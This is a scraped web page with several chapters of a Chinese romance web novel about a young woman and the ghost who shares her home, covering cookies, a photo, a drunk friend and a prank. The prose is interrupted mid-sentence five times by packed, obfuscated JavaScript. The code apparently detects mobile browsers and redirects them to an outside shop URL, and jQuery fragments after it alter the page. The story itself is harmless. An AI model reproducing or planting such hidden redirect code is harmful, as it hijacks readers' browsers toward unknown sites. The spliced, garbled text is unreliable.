d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16583296|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一向感官敏锐的他低头专心致志,全然没察觉一旁的喻声。 喻声心里那点愧疚感刚熄灭,又复燃,在发酵。 感恩节快到了,每到各种节日,就是喻声最忙的时候,各大cp的约稿订单挤满了她的后台,好不容易闲下来一个晚上,她还约了许绘林吃饭,就这么一桩桩一件件事情占据了她所有时间,导致她最后把江时遗忘,让他大半夜还得自力更生给自己做吃的。 喻声适时开口:“需要我帮忙吗?” 江时猛然抬头,目光循着声源自动降落在喻声身上。 他作为一只鬼,罕见地被人吓到,感谢那盏明亮的灯,让他手上一抖的动作在喻声眼里无处遁形。 难得看到江时这一面。 喻声偷笑。 江时摇头,从厨房里走出来,顺手关上了门试图阻断喻声的视线:“你怎么还不睡?” “睡着了又醒。”喻声倒了杯水暖了暖手心,却没喝,“听到了你的声音。” 江时啊了一声:“是我吵到你了吗?” 这次换成喻声摇头:“只是觉得最近太忙了,好像很少有和你聊天说话的时间。” “我不觉得可惜。”江时笑,提及喻声晚上的赴约,“你只跟鬼聊天的话我才觉得很可惜。” 喻声脱口而出:“可是你是不一样的。” 江时愣神。 喻声发现自己的话有歧义,不过一秒就急急补充:“我是说,其他鬼也不会大半夜做吃的。” 江时眉间舒展开,嗯了一声,笑说了句知道了。 喻声:“……” 怎么感觉更有歧义了? 她把奇怪的念头驱逐出去,将水杯放回餐边柜上,伸手,不忘正事:“想要你的手机。” 江时扬扬下巴:“在客厅,你去拿。” 喻声点头,去拿,一步一回头:“不问问我想干什么吗?” “不用啊。”江时好整以暇,“因为你是不一样的。” 他说的真诚、轻松,把“可是”换成了“因为”,但其中含义喻声无从分辨,她只干巴巴地绕开话题:“明天想吃什么吗?我来做。” 把握不好鬼的食量,干脆多做点好了。 “都可以。”江时道,“我看冰箱里还剩有鸡肉,直接炒?” “好,那明天见?” “明天见。” “手机你先拿着吧。”江时看向喻声,近乎所有的情绪都收敛起,最后什么都没说,笑着结束了对话,“早点休息。” - 握着江时的手机回到房间,喻声接收验证码,输入,成功进入首页。 点进“我的回帖”的动作在过去重复了几千上万遍,尽管很久没做,但几乎是熟稔于心地,进入首页后就直奔那里。 刻舟求剑求到的剑她不再需要了,因为她看到,舟已靠岸。 手机屏幕荧白的光照着喻声,当时的那只蝴蝶翩翩、翩翩,一下、两下,卷起新的龙卷风,凌驾于心脏之上。 无他,“我的回帖”里,多了新的一则,时间在两个月前,喻声刚把号码给江时后没多久。 匿名用户:「明明她做了最勇敢的事情。」 29. 101岁 喻声原本找回帖子的初衷是想看看,自己再回到过去会是什么样的心情,但她当下却更想知道,江时敲下那十一个字时,又是什么样的心情。 而这份心情,存活期限能有多长。 喻声很逃避爱这个字,回复许绘林时也是秉持着同样的想法: 只要不被爱,就不会有失去的痛苦,人就会像被抽真空那样的,有可以保存很久的平静。 但她在被爱。 喻声给江时的回帖截了个图,再退出软件,把两个手机都关机,最后蜷缩进被子里,闭眼。 被子尚有余温,那份心情、这种被爱的感觉存活期限好像也很长,长到走了两个月,走过他们的每一次相处,在今天走到了她面前,轻轻拥抱住她,蹭走了所有眼泪。 喻声的脸更侧着,把大半都埋进了枕头里。 被爱是一种很奇妙的体验,它迅速地反驳她那种错误的想法,开启了另一种可能,它说人就像蘑菇一样,被抽真空反而更容易变质。 她在被爱,就会更渴望爱,人和蘑菇没什么不同,在生长时都是渴望幸福的眼泪和适宜温度的爱,等到生长一词被定义为过去式,再经由不同的途径去分享爱。 时间逼近傍晚,夜色加深,蘑菇在分享爱的途径上遇到了鸡肉。 只炒鸡肉太单调,喻声从冷冻室里翻出来一大盒香菇,逐字逐行照着菜谱做了香菇滑鸡焖饭,不仅特意煮了比平时多一半的量,还另煮了青菜,把那多出来的一半全堆进了江时碗里,上完香后推至他的面前。 “好吃。” 江时看到明显比平时多了不少的份量,先是顿了一下,也没说什么,直接舀了一勺放进嘴里,给出了朴实无华的评价。 “我第一次做,看来挺成功。”喻声手握鼠标下滑,光标定在了《恐怖游轮》的封面上,侧身询问他的意见,“看这个可以吗?” 江时当然颔首说可以,事实上,他也从没反驳过喻声想看哪部电影的提议,再询问他也只是礼貌地例行公事而已。 电影片长共99分钟,江时慢悠悠地把饭吃到了电影尾声。 他面色如常,偶尔抬眼和喻声对视上,也是笑盈盈给出夸奖,喻声捕捉不到更多关于他到底饱没饱的信息,不过很快,大半夜的,江时又往厨房里钻,明确给了她答案。 喻声不信邪,隔天又加大饭量,她很明显感觉到江时停顿的时间比昨天更久,但他依旧没说什么,照常全部吃完,只是后半夜又准时准点出现在了厨房。 喻声宕机:“……?” 她不会也在恐怖游轮上吧! 她现在简直要比Jess初登游轮还要迷茫啊。 喻声没搞清江时是不是触发了什么“厨房是半夜刷新点”的机制,她退回房间里,发了条消息给他:「怎么还不休息?」 江时过了很久才回复:「鬼哪里需要休息。」 江时:「需要睡眠的人,你怎么还不休息?」 喻声:「你觉得晚饭怎么样?有什么需要改进的地方吗?」 江时:「没有啊。」 江时:「很好吃。」 江时:「你是大厨。」 江时:「Koonyangi猫猫星星眼.jpg」 喻声被江时的夸赞为难到:「真的没有吗?」 江时被喻声的问话为难到:「还是需要我写篇几千字点评给你?你知道我文章很烂。」 喻声:「……」 喻声:「那倒不用了。」 喻声迅速地又打了一行字:「那你为什么每晚都这么饿?」 刚想发出去,她又开始犹豫,怕江时以为她在谴责他吃太多,最后还是把问话删掉,回了句「马上去睡觉了」,就熄灭手机屏幕,只是默默地决定再加大饭量。 于是在隔天,就造就了双方坐在客厅里沉默面对大小差异过大的两个饭碗的局面。 场景凝滞,被正在播放的电影背景音衬托得更加诡异。 江时看着面前的三座山:“……” 这次他必须说点什么了。 他咳了一声,从山里抬头,把勺子往饭上搁,而后犹豫着问:“是末日到了吗?” ——在恐怖游轮上好像跟末日到了没什么区别啊。 喻声想。 喻声把奇怪的想法压下去:“……你每天上网都在看些什么东西啊。” “就一些小说,你晚上用来催眠的那种。”江时慢吞补充,“不过都没有你写得好,真的。” “……”喻声憋了半天憋出一句,“谢谢你这个时候还想着夸我呢。” “那你整出一副今天吃完就没有明天了的架势是——”江时手支着脑袋,一脸苦恼,好奇地问,“鬼虽然不太有饿和饱的感觉,但也不至于一口气吃这么几座山进肚子里吧?” “我以为你吃不饱。”喻声看着他,“我就想着晚饭多做点的话你也不至于每晚你都去厨房捣鼓点什么。” 连续三天都在厨房待到很晚的江时,起身叹气说到底你是笨蛋还是我是笨蛋的江时,从厨房里双手捧出一碟黑黢黢的曲奇饼干的江时,比蘑菇更会分享爱的江时,所有江时模糊、又清晰,同时交织着很多个她,过去的、现在的、未来的。 和去猜测江时的心情存活期限有多长不同的是,喻声明确地知道自己的这份心情从烤箱出来后就被贴上“永恒”的标签。 毫不遮掩的、无法遮掩的,可以和贫穷、爱情、咳嗽并列的。 厨房窗户大敞,有几分凉意涌进来,被江时随手合上的门压回厨房,霎时间室内只留下温暖,喻声抬眼看着江时一步一步朝她走来,开始有点晕乎乎的。 “那些工具我都不太会用,只能一遍一遍尝试,这是最新一批,昨晚刚做的,已经是我能做出来的最不黑的程度了。”江时把饼干放下,随即盘腿坐在地毯上,膝盖与喻声相贴,目光落在她身上许久,“曲奇饼干,感恩节礼物,送给你的。” 香味直冲鼻腔,喻声恍然,靠边挑了一块,放在手心,细细端详。 “只是我没想到你会理解成我饿了。”江时叹气说道,“惊喜变成惊吓了。” 他说得坦率、从容,像是抱怨,故意加大的叹气声却含着忐忑,嘴唇也下意识抿紧。 厨房那些做饼干的模具是上次给江时做蛋糕时想着可以一起备着的,全是小狗形状,表情各不相同而已,被江时一烘烤,表情全糊掉,只能靠耳朵形状稍微辨认是不是用同一个模具做出来的。 因为没有表情,江时用巧克力酱在每一个饼干上都画了歪歪扭扭的笑脸。 喻声挑的那块是立耳的,她刚想送进嘴里,又止住。 江时问:“有什么问题吗?” 喻声摇头,想起了他上次说的那句“以后每一张照片都跟他拍”,说道:“还没拍照呢,你等我一下。” 喻声放下饼干,三两步跑回房间,取了江时送的那个拍立得,边走出来边把电池和相纸装上,等坐下后再旋转到closeup模式,把相纸遮光板拍掉后示意江时:“和饼干一起拍吧。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16612977|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 江时点头:“饼干你拿还是我拿?” “我拿吧。”喻声回答,“你举拍立得。” 自拍模式需要他们靠得更近些,喻声手里捧着的饼干被挤得差点从烤盘上滑了下来,在等相纸缓缓推出的间隙,她伸手取了刚刚放回的那块咬了一口。 味道意外地不错。 她别过头,看着饼干,细数一共有多少块,可以分几天吃。 刚想着无论如何都要夸他的喻声此刻脱口而出的夸赞更显真心实意:“好吃。” 但对面晃着相纸等显形的人明显不满意,他闷声:“怎么这么敷衍?” “完全是大厨水平。”喻声笑,借用着他的话,“还是需要我写篇几千字点评给你?” 江时把相片递给喻声:“前一句我收下了,至于后一句,那还不如等你写新的文章给我看来得实在。” 喻声失笑,赞同他的说法,刚想调侃几句,却在接过相纸后怔住。 拍立得的魅力之一在于等待它显形那段时间里那种被延缓的、期待的心情,因为完全不知道拍完的效果是什么样的,就会更想珍惜已经过去的、却被相纸上留存的那一瞬间—— 以及那个一起拍照的人。 喻声完全没想到,拍立得能拍到江时。 和临山那张的空旷不同,和他生日时模模糊糊一个剪影的那张也不同,新照片里,虽然江时依旧近乎透明,但轮廓分明,连脸上的神情都清晰。 世界只有新照片里那么大的时候,喻声看着手里的饼干,而江时笑意盈盈,正看着她。 世界有更大一片天地时,照片外,喻声看着自己的心。 她曾列举过在这里住下去的三个理由: 一是因为三明治,二是因为离福珠很近,三是因为便宜的房租。 她直至现在、直到这一瞬间才清楚,她在这里住下去的理由对应着三个人。 舒云繁、福珠、江时。 朋友、家人、喜欢的人。 她喜欢江时。 此刻,喻声确定。 这份喜欢是在很多个和他相处的日子中累积出来的,在她还不知情的时候就出现,来得不可思议,又顺理成章。 头顶有声音响起,平稳温和:“感恩节快乐。” “感恩节快乐。”被中断思绪,喻声调整好心情,看向他,“你怎么想到要做饼干的?” “想听什么版本的?” “有什么版本?” “一个是很久以前的,一个是最近的。” “那先听听最近的。” 江时开着玩笑:“就是偶然间上网刷到的,你现在知道我每天上网都在看些什么东西了吧?” “好记仇啊你。”喻声被他逗笑,“那很久以前的版本是什么?” “从你发烧那次开始,就很想为你做点什么,即使只是微不足道的曲奇饼干。”他倾身,温声开口,“希望你开心一点,希望你不要再说‘别对我太好’这种话,希望你对别人的好可以得到回应。” 从江时说的第一个字开始,喻声就重新踏入了那一天,旧场景、新视角,昏昏沉沉直至彻底睡着的那段时间,她分明得到了回答,很短,不过三秒,掩盖在扭捏的沙粒下,风一吹,沙粒跑,就像那张照片一样,总要拍过两张模糊的,才得以在此刻清晰地展现在喻声眼前。 他明明句句有回应—— “我做得还远远不够。” 一字一顿,过去和现在重叠,柔软地敲着喻声的心。 30. 101岁 江时和很多人不一样,喻声一直都知道这一点,却直到现在、顷刻,室内安静下来,他坐在她面前,她怔怔地看着他,才明白为什么长久以来会有这种想法。 坐在人生列车上,其他人都是教她怎么权衡轻重,重的放心里,轻的就可以沿路抛下;但江时教她的是怎么能把心扩大,让她可以把沿途所有不舍的、不管是轻的重的都留着。 做完这一切后,再信誓旦旦地告诉她,这么大的心脏,加一个他也绰绰有余。 他句句有回应,喻声却没想好怎么回应他,正愣神间隙,门铃响起,她像惊弓之鸟,急忙把照片塞进口袋里,敛目起身,逃似的去开了门,徒留江时还坐在原地。 夜风挟着凉意涌入,室内室外温度不再做切割。 门内,是思绪混乱的喻声; 门外,是泪流满面的舒云繁—— 和鬼。 舒云繁应该是刚从外面回来,头发被雨淋湿,发尾和眼睛下着同一场雨,肩膀上还趴着一只同样下着雨的鬼,只是雨的颜色有点不一样而已。 红和透明交织,触目惊心。 喻声:“……” 自从江时住进来后,她几乎没有再见过其他鬼了,乍一受到1080p视觉冲击,心脏还是熟悉地猛一跳。 她闭了闭眼,侧身抿唇,又睁眼,皱着脸无声求助江时。 被求助的人安然坐着,歪头看向门外,抬手打一响指,喻声慢一拍望回门口,鬼糊成480p,消失在她眼前。 ——他总有把她心里的恐惧降低分辨率的能力。 喻声默默地想。 她又陡然回忆起,上次和舒云繁兄妹吃饭后给江时打包回来时他说的幼稚的那句“当小狗也不错的”,此刻再回味,竟也觉得有个家养小狗真的不错。 停—— 喻声急急喊停胡思乱想,赶紧把舒云繁牵进来:“舒舒,你这是怎么了?出什么事了?” “情场失意。”舒云繁吸了吸鼻子,往前抻了下脖子,旋即扬起手中的袋子,袋子一摇晃哐啷响,“所以我来找你喝酒了。” “情场”两字完全是特指,喻声心下了然:“你那个临山的心动男嘉宾?” “呸,什么心动男嘉宾啊。”舒云繁忿忿,“他还不够格。” “你说得对。”喻声顺着舒云繁的话往下说,接过她手中的塑料袋,拉着她到沙发上坐,“那为了他喝酒会不会有点不值当?” “才不是为了他,我就是好久没和你喝了。” 舒云繁在沙发上坐不住,整个人顺着沙发的弧度往下滑,差点往江时脚上坐,吓得他一个弹跳坐回沙发。 舒云繁则毫无察觉,她施展身体,在茶几和沙发的间隙小幅度地转来转去,寻了个最舒服的姿势窝着,随即下巴往茶几上搁,目光落在庞然大米饭上,手往盘子上点点,“声声,你也不开心吗?” 喻声疑惑道:“为什么这么说?” 舒云繁小声:“不然你怎么在暴食啊。” 喻声:“……” 江时:“……” 舒云繁更小声:“怎么暴食光吃米饭啊。” “你来之前是喝了多少啊?”喻声选择忽略她的问话,手揉了把她的头发,捻着手指感受湿意,“在这里乖乖坐着,我去拿吹风筒给你吹头发,别明天感冒了。” 舒云繁挠挠额头,乖巧地应了一声,真就一动不动。 喻声取了吹风筒和毛巾,顺便把照片放回房间,回来后把毛巾往脱了外套的舒云繁身上披,旋即开了最小档的吹风机,边帮舒云繁吹发边听她说话。 “别暴食啊,声声。”吹风筒呼呼作响,伴着舒云繁诚恳的声音,“不开心的话就来找我喝酒。” 喻声沉默:“……” 这件事怎么就过不去了! “我没暴食。”喻声偷看了眼江时,后者正背靠沙发,把手机倒扣在腿上,像做出预判似的提前目光上移,弯唇正对着她笑,她迅速错开视线,拍了拍舒云繁的脑袋,安抚道,“就是不小心煮多了。” 把喻声的慌乱尽收眼底,江时瞥一眼茶几上的饭,借着舒云繁看不见他的便利,笑得更开心,笑出声,笑给喻声听,被喻声一记眼刀飞过来射中后憋笑捂着脖子倒在沙发上,作躺尸状。 戏精。 喻声收回眼刀。 “煮多了好啊。”舒云繁说,“正好我来了,配着酒吃。” 喻声把吹风筒关掉搁在一旁,往舒云繁旁边坐,把自己的那份饭移到她面前,再从袋子里掏出两瓶酒启盖,握紧一瓶举起碰了另一瓶:“那我陪你喝。” 喻声最近偶尔会喝中药,本来是需要忌酒的,但看舒云繁心情不好,就想着多少陪她喝两口。 舒云繁把饭嚼啊嚼,喝了口酒顺下去:“怎么不问问我具体发生了什么?” “你想说的什么时候瞒过我?”喻声偏头看她,“你不想说的,我也不想问。” “我不知道怎么说。” 舒云繁咬着牙,大着舌头,声声控诉,“我和他拢共就在临山见过那么两次,其余时间都在线上聊天,他说还没来过东宜玩,我就让他最近休假过来,我正好当一回东道主,顺便、顺便把暧昧戳破,好歹谈场恋爱。 “结果人家一下飞机、一下飞机就要跟我onenightstand,还说以为这快两个月的聊天已经和我达成共识了,达、达成他个头啊! “我在这头想着怎么吃临山烧烤,他在那头却想着怎么把我吃干抹净,气得我当场和他掰了,我直接指着他的鼻子,叫他给我滚回临山,最后再送他一句你简直侮辱了临山这个人杰地灵的地方!” 舒云繁这一通rap下来,喻声已经瞠目结舌,但她不忘放下酒瓶鼓掌,替舒云繁顺顺气:“干得漂亮。” “可是我的一见钟情一点都不漂亮。”舒云繁垮下脸,她的委屈太过嘹亮,“我养了快两个月,它还是枯萎了。” “不漂亮的是他。”喻声抽了张纸递给舒云繁,“那天很勇敢去要联系方式、让他帮忙拍照的舒舒很漂亮,这颗能去爱一个人的心也很漂亮。” 舒云繁瞬间被哄好,又开始泪眼汪汪:“你说得对!我明明就很漂亮。” “就算哭得眼睛都红了也漂亮。”喻声笑着补充,“不难过了?” “……难过啊。”舒云繁几乎要把酒瓶挂嘴边,“本来说好的温水煮青蛙,结果反被青蛙煮,又难过又耻辱。” 喻声假装严肃:“也好过真的和青蛙谈。” “什么啊。”舒云繁被逗笑,转了个话题,“所以我吸取教训了,夜谈那天说的话,还有待商榷。” “哪句?”喻声盯着啤酒晃动产生的泡沫,随意问道。 “习惯是新感情的开始啊,你不是说有一个让你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16650569|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听到这句话就想起来的人吗?” 几乎是下意识地,喻声抬眼,目光自动定位在江时身上,她的心脏跳得越来越快、越来越快,充当着那块被投入篝火堆里的木头,火苗燃得更旺,一上一下晃动时快速切换画面,喻声又再一次看见那个远离篝火、和她谈论星星、往她脖子上围围巾的江时。 有一部分的她和他,永远留在了那个时候—— 这是习惯的后遗症吗? 再一晃神,最后一粒火光在面前消失,从明亮到昏暗,一道略带探究的视线不偏不倚落在她身上,除探究外,视线里还有些其他的她读不懂的情绪,喻声呼吸一窒,有种背后议论被抓包的微妙感,她垂眼,偏开脸,磕磕巴巴地嗯了一声,权当回答。 “习惯和喜欢还是有区别的。”舒云繁数着音节,掰扯着讲给喻声听,“xiguan、xihuan,一个字母之差,G和H在二十六个字母中靠得再近也终究是不一样的,要想从G跨越到H,比让青蛙变回王子要付出的多得多。” 刚说“习惯是新感情的开始”时,喻声正处于接受自己习惯江时存在这件事的阶段上,再提起这个话题时,她已经完成从G到H的跨越,剖析自己,得出了她正在喜欢江时这个事实。 ——亲身实践,喜欢上江时,好像比青蛙变回王子,更轻易些。 喻声想。 舒云繁那番话,要说在喻声心上没有激起波澜是不可能的,说这话的人倒是自得,毛巾往脸上一盖,头往后仰枕在沙发上倒头就睡,剩喻声和啤酒面面相觑。 波澜如啤酒泡沫,压一口进喉咙,在身体内经久未散,徒留醉感,用不清醒给对话画上了句号,不长的一段时间里,喻声都没敢再回头看江时。 不长的一段时间里,江时也未发一言。 等喻声清醒过来,她已经回到房间的床上,身上盖着被子,屋内安静,仿佛刚刚发生的一切只是场梦境。 喻声撩开被子坐起来,刚想拿手机,手率先碰到的是床头柜上的醒酒汤,她一顿,摸上去,还是温热的。 喻声没喝,绕过醒酒汤取了手机,看到屏幕上的时间,才惊觉不清醒的跨度之长,从黑夜,到快要再度进入黑夜,对话框的小红点再次告诉她这一切不是梦境。 舒云繁:「声声!你醒了吗?」 舒云繁:「特大新闻特大新闻!」 喻声举着手机又躺回床上:「刚醒。」 喻声:「发生什么事了?」 舒云繁:「嘿嘿。」 舒云繁:「好事。」 舒云繁:「青蛙昨晚遇鬼了!」 喻声不解:「遇鬼?」 舒云繁二话不说,甩过来一张截图,喻声点开,是条朋友圈—— 「求助朋友圈,东宜有没有厉害的大师可以帮忙驱鬼的?」 朋友圈下面还带着条评论:「谢谢各位朋友的关心,我统一回复一下,现在我住在东宜的酒店,昨晚平白无故老是摔跤,上吐下泻,还在镜子里看见了不干净的东西,这才想找大师咨询一下。」 舒云繁:「我真得感谢这个鬼,替我把他收拾了,省得我看到他就糟心。」 舒云繁:「不过这个鬼还挺恶趣味的。」 恶趣味的鬼,她刚好就认识一只诶。 不会真的是他干的吧。 思忖至此,喻声失语,差点把手机砸脸上。 31. 101岁 手机到底没砸脸上,紧随而来的一条新消息砸脸上了。 江时:「醒酒汤为什么不喝?」 喻声惊诧,瞬间仰卧起坐,目光自动锁定在门口。 果不其然,江时正止步于敞开的门边,不知在那里站了多久,悄无声息的。 见喻声望过来,他抬手屈起手指,笑着叩了叩门。 他换回了自己的那套西装,双臂抱在胸前,靠着门框,身形舒展,气定神闲,小括弧又印在嘴角,把躺在聊天框里的话认真重复了一遍:“醒酒汤为什么不喝?” “刚醒,还没来得及喝。”喻声捡过醒酒汤边的发绳,草草把头发低挽起,顺应着江时的话把醒酒汤握手里,搭腔,“你早上出过门了?” “是啊。” 江时走进来,随意回答道。 喻声点点头,没再说什么。 她把手中的醒酒汤一饮而尽,起身准备去洗漱,刚走没两步,被一只往下探的手捞住手腕。 “没其他问题了吗?”江时闷声,“为什么不问问我去哪里了?去做什么了?是和谁一起去的?” 喻声目光下移,视线扫过手腕处,被她这一眼刺到,江时倏地放开了手,手霎时无处可摆,最后他咳了一声,慢慢插回兜里。 喻声眨眼,把一连三问还回去:“那你去哪里了?去做什么了?是和谁一起去的?” 江时语气哀怨:“……好敷衍。” 喻声笑说不至于吧:“这哪里敷衍?” “你根本不是真心实意想问吧。” “今天早上刚醒,就收到了舒舒给我发的消息,她说她那个网友莫名其妙在酒店里平地摔和上吐下泻,不仅如此,照镜子时还看到不干净的东西了。”喻声失笑,“我要是问是不是你做的,你会告诉我吗?” “是我做的,是他活该。”江时温声,无端透露出点忐忑,“你不高兴了吗?” “我为什么会不高兴?”喻声摇头,“我也觉得他活该。” 为什么会不高兴? 明明她更加确定,她喜欢上了一个本身就很好的人。 他很勇敢,嫉恶如仇,帮助别人时会付出100%的真心,即使恶作剧时也像露出小兽的牙齿,落在身上痒丝丝、不伤人; 他很心软,嘴上说着不在意,对她、对豆乳、煤球和芝士却很好,后来小盆栽也都是他在照料; 他很细心,有爱人的天赋,猫猫头战士很多次出现,他会逗她开心,自从上次说了给他买手机是在“庆祝他做得很好”之后,不管发生什么,都不厌其烦地夸她做得很好,说他是喻声全肯定,熨贴着她的心; 他也很果断,不管是开始工作、做饼干还是其他,想做什么就去做,对她的所有承诺都会铭记于心并付出行动; 最最重要的是,他让她习惯,让她安定,在六楼听完他的过去的那个晚上,所有关于关系定义的疑问都有了答案。 细数他的好不需要斟酌,一颗心往过去投掷,顷刻间能落脚的地方已经太多。 他的出现是小概率事件,遇见他后喜欢上他的概率是百分之百,在当下不高兴的概率是百分之零,因此被他点出是不是不高兴属实有点冤枉。 “是你太迟钝了吗?还是我的表现有歧义?会让你觉得我是在不高兴。”喻声笑着顺他的毛,“我表现出来的明明是我很喜欢,明明是我觉得江时做得很好。” 江时眼睛瞬间亮了起来,他扬扬眉毛,嘴角怎么压都压不下去:“没哄我?” “真没哄你。” 他想了想:“还不如哄我呢。” 喻声疑惑:“为什么?” 江时把外套脱掉,走到懒人沙发处背对着喻声撂下外套,拎起喻声送他的那件松松往身上套,坦然:“至少你之前哄我的时候还会给我奖励。” “这还不容易?”喻声本来侧着站,这下彻底别过身去,她坐回床上,又笑,“你想要什么?” 江时换好衣服走回来,俯身,和喻声靠得更近,直到跃过个人距离到达亲密距离才停下,他冷不丁开口询问:“那你能不能告诉我,那个让你习惯的人,是谁?” 不止是谁的呼吸声,异常响,横亘在两人中间。 窗帘严丝合缝地合着,屋内唯一的光来自于江时背后敞开的门,光透过他,从他两侧晃过,把喻声的心事裹住、晕成了金色,如此鲜亮。 而没被照到的其他地方,躲在灰色里。 喻声不明白江时为什么会在乎这个,也反应过来江时昨晚长久的沉默是因为这个,情绪在金色和灰色间反复横跳,良久后,她往后退一步拉开距离,索性含糊回应,当一回胆小鬼:“没谁。醉鬼的话你也醒?” 江时扑了个空也不气馁,他直起身,笑着打趣道:“如果是我就好了。” 是他的话就好了。 江时想。 不是他的话会有点伤心,但也没关系。 毕竟喜欢她是他自己的事,不应该要求她对他的任何要和他对她同等。 喻声错愕,表情有一瞬间的空白。 她屏息,没跟上他的思路:“什么意思?” 她怕错过江时的任何一个表情,可她没错过,也没能如愿得到任何可以作为答案的回答。 情绪不情愿地跳回灰色那一边。 江时摇头:“没什么。” 只是觉得温水煮青蛙这个招数不错,可以一试,虽然他早就被反炖了。 “换个奖励吧?”江时接着说,“昨晚那个饼干还是太失败了,等你不忙的时候,我们重新买材料,你陪我做吧。” 做饼干不是她擅长的,但应该会比做蛋糕更简单点。 喻声点头思忖:“可以,那等我洗漱完就去买吧。” “不急。”江时笑着看了眼喻声,取了外套递给她,“我给你带了早餐回来,吃了再走。” 好吧。 喻声接过外套,穿上裹紧。 看在早餐的份上。 最终争夺情绪获胜的还是金色那一边。 - 金色那一边是堆满的厚厚的蛋丝,另一边则是佐以鲜虾,白菜打底,宽面裹着汤汁,鲜香味美,还有一杯甜豆浆,都是热腾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16691589|184024||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腾的,明显和醒酒汤一样掐好时间出炉的。 喻声胃口还不错,慢吞吞吃完碗里最后一根面,正喝着汤,才想起来问江时:“早餐你是怎么买的?” 江时托腮:“我让道士帮我买的,听说喝完酒第二天需要吃点好消化的碳水。” 喻声笑,评价:“你和他关系还不错。” “还好吧。”江时给喻声顺了张纸巾,说,“就是互取所需,他靠我驱鬼,我靠他和人交涉。” 喻声接过纸巾后问:“那他有问你为什么要针对——” 被舒云繁带跑偏,喻声差点将“青蛙”脱口而出,她刹住,从容换了一词:“有问你为什么要针对那男的吗?” “问了,我就说看他不顺眼。”江时笑,竖起左手中间的三个手指,“这个世界上看他不顺眼的人多达两个半,鬼算半个。” 喻声把他的食指掰下,再将他的小指掰上来替换,弯弯眼睛:“那你算半个的话,当个小指就够了。” 江时从善如流:“那把无名指让给你吧。” “那把无名指让给你,和你永远绑定吧——这句话是什么意思?” 江时的手指停在文档上的这句话上,抬头问喻声。 之前的喻声也和现在的喻声一样,掰起他的手指轻点骨节。 她说:“过去的人们常常认为,左手的无名指上有一条静脉叫venaamoris,意为爱情之脉,传说这条静脉直通心脏,心脏是很重要的器官,让无名指和喜欢的人绑定,是表白的意思。” 这句话是表白的意思,那江时是什么意思? 鸡蛋丝已经吃完,金色的部分由心情填补。 喻声疯狂搜刮记忆,以此来验证江时是不是一直以来说话都这么含义模糊,抑或是自己自从发现喜欢上他后,对他的每句话都有了自作多情的延伸理解? 也有可能是她局限于现代人的视角里呢。 101年前的人说话都是这样的也说不定。 是不是、抑或是、有可能、说不定,要用上所有摇摆不定的词,佐料变多,心变得和汤底一样浑浊。 喻声假装风轻云淡地低头喝汤:“还给你,我才不收别人的手指。” “……听起来好残暴啊。”江时收回手指,“不是你自己说过的吗?无名指上的venaamoris。” 他从商,生意做大后免不了和外商打交道,因此学过简单的外语对话,发音很标准,像“venaamoris”一词也是先记住发音后让喻声写下来给他看,再彻底把词理解后记住。 “……”喻声继续低头喝汤,“是我说的,但你也别乱用啊。” 江时狐疑:“我用得不对吗?” 喻声保持着低头喝汤的姿势不动:“不对,你的英语还得好好练习。” “那喻老师,你能不能告诉我,舒云繁昨晚说的汪——”江时卡壳,想了一会儿才想出来,“onenightstand是什么意思?” 喻老师想继续低头喝汤来着。 但实在没忍住。 一口喷了出来。 32. 101岁 喷出来倒不至于,但汗也没少流,喻老师果断停止教学,打了个哈哈说她也得多学点英语了,她眼神闪躲,从快埋碗里到望天,企图就此把话题胡乱揭过。 江时没为难她,饶有兴致地打量了她两眼,拖长尾音说了句这样啊,然后又迅速弯弯眼,换成了一句OK。 喻声:“……” 看出来了。 这句OK就是在故意逗她。 上次他也是拖长尾音说了句这样啊,下一秒就变成电影里的恶鬼出来吓她了。 喻声咬着豆浆的吸管,决定这个家以后和英语缘尽于此。 onenightstand不允许存在,OK也不允许存在,留一个venaamoris就够了。 “一会儿应该不能去超市了,过几天吧。”等到豆浆咕嘟吸到了底,思绪绕了一个来回,绕回和舒云繁发信息的时候,喻声才想起来要说的,“舒舒昨晚心情就不好,今天不知道怎么样了,我得去陪陪她。” “可以,反正按你的时间来。”江时颔首,他把面碗的盖子重新盖了回去,想了想又问,“今天晚上才回来吗?” 